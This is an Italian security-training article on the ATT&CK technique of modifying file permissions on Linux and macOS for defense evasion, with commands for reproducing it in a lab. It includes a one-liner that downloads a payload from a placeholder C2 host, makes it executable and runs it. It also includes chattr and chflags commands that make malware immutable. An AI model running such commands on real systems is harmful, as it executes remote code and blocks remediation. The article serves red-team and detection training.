Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Quando un avversario modifica i permessi di file e directory su sistemi Linux o macOS, sta manipolando il livello più fondamentale del controllo d'accesso POSIX per aggirare le protezioni del sistema operativo. Questa tecnica rientra nella tattica Defense Evasion (TA0005): l'attaccante non cerca di sfruttare una vulnerabilità, ma altera le regole del gioco cambiando chi può leggere, scrivere o eseguire un determinato file.
Gli strumenti coinvolti sono familiari a qualsiasi amministratore di sistema — chmod, chown, chgrp, chattr, chflags — il che rende la detection particolarmente insidiosa. Un singolo comando chmod 777 lanciato nel contesto sbagliato può trasformare un payload inerte in un eseguibile pronto all'uso, oppure rendere immutabile un binario malevolo impedendone la rimozione.
I numeri del framework confermano la rilevanza operativa: 3 gruppi APT, 10 famiglie software, 1 campagna documentata e 2 mitigazioni mappano direttamente su questa tecnica. Dal cryptomining di TeamTNT alle operazioni di spionaggio di APT32, passando per i dispositivi SOHO compromessi nella campagna KV Botnet Activity (C0035), la manipolazione dei permessi è un tassello ricorrente nella kill chain di attori molto diversi tra loro. Il fatto che venga usata sia da gruppi state-sponsored sia da operatori di botnet commodity dimostra quanto sia trasversale e quanto meriti attenzione dedicata nei playbook difensivi.
In un esercizio red team, la manipolazione dei permessi non è mai la tecnica principale ma è il collante che tiene insieme la catena d'attacco. Un payload scaricato non è pericoloso finché non diventa eseguibile, e un file di configurazione non è un vettore di persistenza finché l'attaccante non può scriverci. Vediamo come replicare le procedure documentate in laboratorio.
La catena più classica parte dal download di un secondo stadio e dalla sua attivazione. Questo è esattamente il pattern usato nella campagna KV Botnet Activity (C0035), dove i payload scaricati su dispositivi SOHO venivano resi eseguibili prima del lancio:
curl -o /tmp/.update -s <indirizzo-C2>/payload chmod +x /tmp/.update nohup /tmp/.update &
Per simulare il comportamento di OSX/Shlayer su macOS, che applica permessi estremamente permissivi, si può usare:
chmod 777 /tmp/stage2.bin
Nota la differenza: chmod +x aggiunge solo il bit di esecuzione mantenendo gli altri permessi, mentre chmod 777 spalanca lettura, scrittura ed esecuzione a tutti — una scelta rumorosa ma efficace se l'attaccante non si preoccupa della stealth.
Per replicare la tecnica di Rocke e TeamTNT, che usano chattr per rendere i file immutabili e impedire la remediation, il comando è:
chattr +i /usr/bin/.malware
L'attributo immutabile impedisce la cancellazione o modifica del file anche a root, a meno che non venga prima rimosso l'attributo con chattr -i. Per verificare lo stato degli attributi estesi si usa:
lsattr /usr/bin/.malware
Su macOS, il comando equivalente è chflags con il flag uchg (user immutable) o schg (system immutable, richiede single-user mode). Per simulare un attacco che protegge un binario dalla rimozione:
chflags uchg /Users/Shared/AppStore.app/Contents/MacOS/payload
Il pattern di APT32 merita attenzione: il backdoor macOS OSX_OCEANLOTUS.D imposta i permessi a 755 (rwxr-xr-x) — una scelta più chirurgica che non attira l'attenzione come un 777. In laboratorio:
chmod 755 /Users/Shared/AppStore.app
Per la manipolazione del GID come documentato per COATHANGER, che impostava il GID del processo httpsd a 90 su apparati Fortinet compromessi, si simula con:
chown :90 /path/to/httpsd
Un tool utile per automatizzare queste catene in esercizi purple team è Atomic Red Team (open source), che include test atomici specifici per T1222.002 eseguibili con un singolo comando tramite il modulo Invoke-AtomicTest.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo